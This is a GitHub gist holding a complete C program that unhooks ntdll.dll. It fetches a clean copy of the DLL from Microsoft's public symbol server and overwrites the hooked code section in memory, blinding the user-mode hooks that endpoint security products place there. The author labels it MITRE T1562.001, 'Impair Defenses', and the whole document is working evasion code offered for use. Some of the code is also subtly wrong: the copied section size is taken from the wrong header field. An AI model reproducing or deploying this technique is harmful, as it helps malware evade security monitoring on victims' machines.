Skip to content

Instantly share code, notes, and snippets.

@wizardy0ga
Last active June 30, 2024 05:59
Show Gist options
  • Save wizardy0ga/db76825bb74fbb4bb73138bf59cd7548 to your computer and use it in GitHub Desktop.
Save wizardy0ga/db76825bb74fbb4bb73138bf59cd7548 to your computer and use it in GitHub Desktop.
Unhooking ntdll using a copy sourced from the microsoft internet symbol server
/*
Author:
wizardy0ga
Date:
June 2024
Arch:
x64
Tested on:
Windows 10 19045.4529
Compiler:
MSVC
Mitre:
Defense Evasion:
T1562.001 - Impair Defenses: Disable or Modify Tools
Description:
Unhook ntdll using a copy sourced from the microsoft internet symbol server.
Reference:
https://winbindex.m417z.com/
http://msdl.microsoft.com/
*/
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#pragma comment(lib, "wininet.lib")
/* Error handling */
#define print(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__);
#define fatal_error(msg, ...) printf("[!] " msg "\n", ##__VA_ARGS__); return -1;
#define api_error(api) printf("[!] " api " failed with error: %d\n", GetLastError());
/* pe parsing */
#define check_dos(dos_header) if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) { fatal_error("DOS header signature mismatch."); }
#define check_nt(nt_header) if (nt_header->Signature != IMAGE_NT_SIGNATURE) { fatal_error("NT header signature mismatch."); }
/* structs resourced from https://ntdoc.m417z.com/ */
typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef BOOLEAN(NTAPI* PLDR_INIT_ROUTINE)(
_In_ PVOID DllHandle,
_In_ ULONG Reason,
_In_opt_ PVOID Context
);
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PLDR_INIT_ROUTINE EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
/* Borrowed from MSDN */
typedef struct _PEB
{
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
} PEB, * PPEB;
VOID CheckSyscallHook(CHAR* Name, PVOID Address) {
printf("[+] %s @ 0x%p is ", Name, Address);
if (*(ULONG*)Address != 0xb8d18b4c) {
printf("HOOKED\n");
}
else {
printf("UNHOOKED\n");
}
}
int main() {
PIMAGE_DOS_HEADER pNtDllDosHeader = NULL,
pUnhookedDos = NULL;
PIMAGE_NT_HEADERS pNtDllNtHeaders = NULL,
pUnhookedNt = NULL;
HINTERNET hInternet = NULL,
hInternetFile = NULL;
WCHAR DownloadUrl [MAX_PATH];
PVOID pHookedDllBase = NULL,
BaseOfCode = NULL;
PBYTE pBuffer = NULL,
pTempBuffer = NULL;
DWORD BytesRead = 0,
OldProtection = 0,
TempBufSize = 1024;
SIZE_T DownloadSize = 0,
SizeOfTextSection = 0;
PPEB pPeb = (PPEB)__readgsqword(0x60);
PLDR_DATA_TABLE_ENTRY pEntry = NULL;
printf("[+] Press enter to begin"); getchar();
CheckSyscallHook("NtProtectVirtualMemory", GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtProtectVirtualMemory"));
/* Get base address of ntdll in this process */
for (pEntry = (PLDR_DATA_TABLE_ENTRY)pPeb->Ldr->InLoadOrderModuleList.Flink; pEntry->DllBase != NULL; pEntry = (PLDR_DATA_TABLE_ENTRY)pEntry->InLoadOrderLinks.Flink) {
if (lstrcmpW(pEntry->BaseDllName.Buffer, L"ntdll.dll") == 0) {
pHookedDllBase = pEntry->DllBase;
}
}
if (pHookedDllBase == NULL) {
fatal_error("Could not locate ntdll base address.");
}
print("Found ntdll base address at 0x%p", pHookedDllBase);
/* Get base address of hooked ntdll text section in local process */
pNtDllDosHeader = (PIMAGE_DOS_HEADER)pHookedDllBase;
check_dos(pNtDllDosHeader);
pNtDllNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pHookedDllBase + pNtDllDosHeader->e_lfanew);
check_nt(pNtDllNtHeaders);
BaseOfCode = (PVOID)((ULONG_PTR)pHookedDllBase + pNtDllNtHeaders->OptionalHeader.BaseOfCode);
/* Create download url based on the TimeDateStamp & SizeOfImage. */
wsprintf(DownloadUrl, L"%s%0.8X%0.4X/ntdll.dll", L"https://msdl.microsoft.com/download/symbols/ntdll.dll/", pNtDllNtHeaders->FileHeader.TimeDateStamp, pNtDllNtHeaders->OptionalHeader.SizeOfImage);
print("Constructed ntdll download url: %S", DownloadUrl);
/* Download file to local buffer */
hInternet = InternetOpenW(L"wizardy0ga", 0, NULL, NULL, 0);
if (hInternet) {
hInternetFile = InternetOpenUrlW(hInternet, DownloadUrl, NULL, 0, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, 0);
if (hInternet) {
pTempBuffer = (PBYTE)LocalAlloc(LMEM_FIXED | LMEM_ZEROINIT, TempBufSize);
pBuffer = (PBYTE)LocalAlloc(LPTR, BytesRead);
if (pTempBuffer && pBuffer) {
print("Reading unhooked ntdll image to buffer");
while (TRUE) {
/* Read data into temp buffer & add amount of bytes read to total download size */
if (!InternetReadFile(hInternetFile, pTempBuffer, TempBufSize, &BytesRead)) {
api_error("InternetReadFile"); goto Cleanup;
}
DownloadSize += BytesRead;
/* Reallocate buffer & read temporary buffer into main buffer space */
pBuffer = (PBYTE)LocalReAlloc(pBuffer, DownloadSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (pBuffer) {
memcpy((PVOID)(pBuffer + (DownloadSize - BytesRead)), pTempBuffer, BytesRead);
memset(pTempBuffer, '\0', BytesRead);
if (BytesRead < TempBufSize) {
break;
}
}
else {
api_error("LocalAlloc"); goto Cleanup;
}
/* Break if buffer is still null */
if (!pBuffer) {
goto Cleanup;
}
}
}
else {
api_error("LocalAlloc");
}
}
else {
api_error("InternetOpenUrlW"); goto Cleanup;
}
}
else {
api_error("InternetOpenW"); goto Cleanup;
}
print("Read %lld bytes to 0x%p", DownloadSize, pBuffer);
/* Get size of unhooked text section */
pUnhookedDos = (PIMAGE_DOS_HEADER)pBuffer;
check_dos(pUnhookedDos);
pUnhookedNt = (PIMAGE_NT_HEADERS)(pBuffer + pUnhookedDos->e_lfanew);
check_nt(pUnhookedNt);
SizeOfTextSection = pUnhookedNt->OptionalHeader.BaseOfCode;
/* Copy unhooked text section into hooked text section */
if (!VirtualProtect(BaseOfCode, SizeOfTextSection, PAGE_EXECUTE_WRITECOPY, &OldProtection)) {
api_error("VirtualProtect [wcx]"); goto Cleanup;
}
memcpy(BaseOfCode, (PVOID)((ULONG_PTR)pBuffer + pUnhookedNt->OptionalHeader.BaseOfCode), SizeOfTextSection);
if (!VirtualProtect(BaseOfCode, SizeOfTextSection, OldProtection, &OldProtection)) {
api_error("VirtualProtect [return]");
}
CheckSyscallHook("NtProtectVirtualMemory", GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtProtectVirtualMemory"));
printf("[+] Successfully unhooked ntdll! press enter to quit."); getchar();
Cleanup:
if (hInternet) { InternetCloseHandle(hInternet); }
if (hInternetFile) { InternetCloseHandle(hInternetFile); }
if (pTempBuffer) { LocalFree((HLOCAL)pTempBuffer); }
if (pBuffer) { LocalFree(pBuffer); }
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment